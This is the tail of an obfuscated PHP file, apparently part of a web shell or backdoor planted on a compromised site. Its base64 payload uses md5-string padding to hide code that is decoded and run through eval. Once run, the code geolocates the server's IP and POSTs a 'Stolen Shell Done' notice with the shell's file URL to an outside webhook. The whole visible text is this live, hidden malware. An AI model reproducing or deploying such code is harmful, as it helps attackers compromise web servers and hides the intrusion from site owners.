QWdKR2x3UkdGMFlTQTlJR3B6YjI1ZlpHVmpiMlJsS0NScGNGSmxjM0J2Ym5ObEtUc0tJQ0FnSUNScGNDQTlJQ1JwY0VSaGRHRXQiOyRHM3hIRmtZb2lSWzddPSJQbWx3T3dvZ2M5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkSUNBZ0pHbHdTVzVtYjFKbGMzQnZibk5sSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5cGNHbHVabTh1YVc4dmV5UnBjSDB2YW5OdmJpSXBPd29nIjskRzN4SEZrWW9pUls4XT0iSUNBZ0pHMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNsd1NXNW1ieUE5SUdwemIyNWZaR1ZqYjJSbEtDUnBjRWx1Wm05U1pYTndiMjV6WlNrN0Nnb2dJQ0FnSkdOdmRXNTBjbmtnUFNBa2FYQkpibVp2TFQ1amIzVnVkSEo1T3dvZyI7JEczeEhGa1lvaVJbOV09IklDQWdhODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY0pISmxaMmx2YmlBOUlDUnBjRWx1Wm04dFBuSmxaMmx2YmpzS0lDQWdJQ1JqYVhSNUlEMGdKR2x3U1c1bWJ5MCtZMmwwZVRzS0NpQWdJQ0FrYldWemMyRm5aU0E5SUNJS0NpQWciOyRHM3hIRmtZb2lSWzEwXT0iSUNBZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNxS2xWeWJEb3FLaUJnSkdacGJHVlZVa3hnWEc0S0lDQWdJQ0k3Q2lBZ0lDQWtkWE5sY201aGJXVWdQU0FpVTNSdmJHVnVJRk5vWld4c0lFUnZibVVpT3dvZ0lDQWdKR0YyWVhSaCI7JEczeEhGa1lvaVJbMTFdPSJjbFZ5YkNBOUk0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNkNKb2RIUndjem92TDJrdWFXMW5kWEl1WTI5dEwwTldSR0ZNUzJ3dWFuQm5JanNLSUNBZ0lDUmtZWFJoSUQwZ1lYSnlZWGtvQ2lBZ0lDQWdJQ0FnSjNWelpYSnVZVzFsIjskRzN4SEZrWW9pUlsxMl09Ikp5QTlQaUFrZDQ1YzQ4Y2NlMmUyZDdmYmRlYTFhZmM1MWM3YzZhZDI2WE5sY201aGJXVXNDaUFnSUNBZ0lDQWdKMkYyWVhSaGNsOTFjbXduSUQwK0lDUmhkbUYwWVhKVmNtd3NDaUFnSUNBZ0lDQWdKMlZ0WW1Wa2N5Y2dQVDRnWVhKeVlYa28iOyRHM3hIRmtZb2lSWzEzXT0iQ2lBZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNnSUNBZ0lDQWdJQ0FnSUdGeWNtRjVLQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMmx0WVdkbEp5QTlQaUJoY25KaGVTZ0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FuZFhKcyI7JEczeEhGa1lvaVJbMTRdPSJKeUE5UGlBa1o0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNjJsbVZYSnNDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQXBMQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMlJsYzJOeWFYQjBhVzl1SnlBOVBpQWtiV1Z6YzJGblpRb2dJQ0FnIjskRzN4SEZrWW9pUlsxNV09IklDQWdhODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY0lDQWdJQ0FwQ2lBZ0lDQWdJQ0FnS1FvZ0lDQWdLVHNLQ2lBZ0lDQWtiM0IwYVc5dWN5QTlJR0Z5Y21GNUtBb2dJQ0FnSUNBZ0lDZG9kSFJ3SnlBOVBpQmhjbkpoZVNnS0lDQWciOyRHM3hIRmtZb2lSWzE2XT0iSUNBZ0lDMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNBZ0lDQWdKMmhsWVdSbGNpY2dJRDArSUNKRGIyNTBaVzUwTFhSNWNHVTZJR0Z3Y0d4cFkyRjBhVzl1TDJwemIyNWNjbHh1SWl3S0lDQWdJQ0FnSUNBZ0lDQWdKMjFsZEdodiI7JEczeEhGa1lvaVJbMTddPSJaYzRjYTQyMzhhMGI5MjM4MjBkY2M1MDlhNmY3NTg0OWJDY2dJRDArSUNkUVQxTlVKeXdLSUNBZ0lDQWdJQ0FnSUNBZ0oyTnZiblJsYm5RbklEMCtJR3B6YjI1ZlpXNWpiMlJsS0NSa1lYUmhLUW9nSUNBZ0lDQWdJQ2tLSUNBZ0lDazdDZ29nIjskRzN4SEZrWW9pUlsxOF09IklDQWdKR052YzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRiblJsZUhRZ0lEMGdjM1J5WldGdFgyTnZiblJsZUhSZlkzSmxZWFJsS0NSdmNIUnBiMjV6S1RzS0lDQWdJQ1J5WlhOMWJIUWdQU0JtYVd4bFgyZGxkRjlqYjI1MFpXNTAiOyRHM3hIRmtZb2lSWzE5XT0iY3lna2QyVmlhRzl2YTFWeWJDd2dabUZzYzJVc0lDUmpiMjUwWlhoMEtUc0tDaUFnSUNCOUlHTmhkR05vSUNoRmVHTmxjSFJwYjI0Z0pHVXBJSHNLSUNBZ0lDQWdJQ0FLSUNBZ0lIMEtQejRLUEQ5d2FIQWciOyRxTDIwMjMwODIyMDUyMDE1PSJceDYyXDE0MVx4NzNceDY1XHgzNlx4MzRceDVmXDE0NFwxNDVceDYzXHg2Zlx4NjRcMTQ1IjskTW9BMjAyMzA4MjIwNTIwMTUgPSBGbk9kb0Y1YTIwMjMwODIyMDUyMDE1KCRHM3hIRmtZb2lSLCR0MGJnSWg2MEspO2Z1bmN0aW9uIEZuT2RvRjVhMjAyMzA4MjIwNTIwMTUoJGFlLCRrZXkpIHsgJGF0PWFycmF5KCk7IGZvciAoJGk9MDsgJGkgPCBzdHJsZW4oJGtleSk7ICRpKyspIHsgaWYgKGludHZhbCgka2V5WyRpXSk+MCkgeyAkYXRbJGldPSRrZXlbJGldOyB9IH0gJGF0PWFycmF5X3ZhbHVlcygkYXQpOyAkc3RyPSIiOyBmb3IgKCRpPTA7ICRpIDwgY291bnQoJGFlKTsgJGkrKykgeyBpZiAoJGk8IGNvdW50KCRhZSktMSkgJHN0ci49c3RyX3JlcGxhY2UobWQ1KCRhdFskaV0pLCAiIiwgJGFlWyRpXSk7IGVsc2UgJHN0ci49JGFlWyRpXTsgfSByZXR1cm4gJHN0cjsgfWV2YWwoJHFMMjAyMzA4MjIwNTIwMTUoJE1vQTIwMjMwODIyMDUyMDE1KSk7"));
?>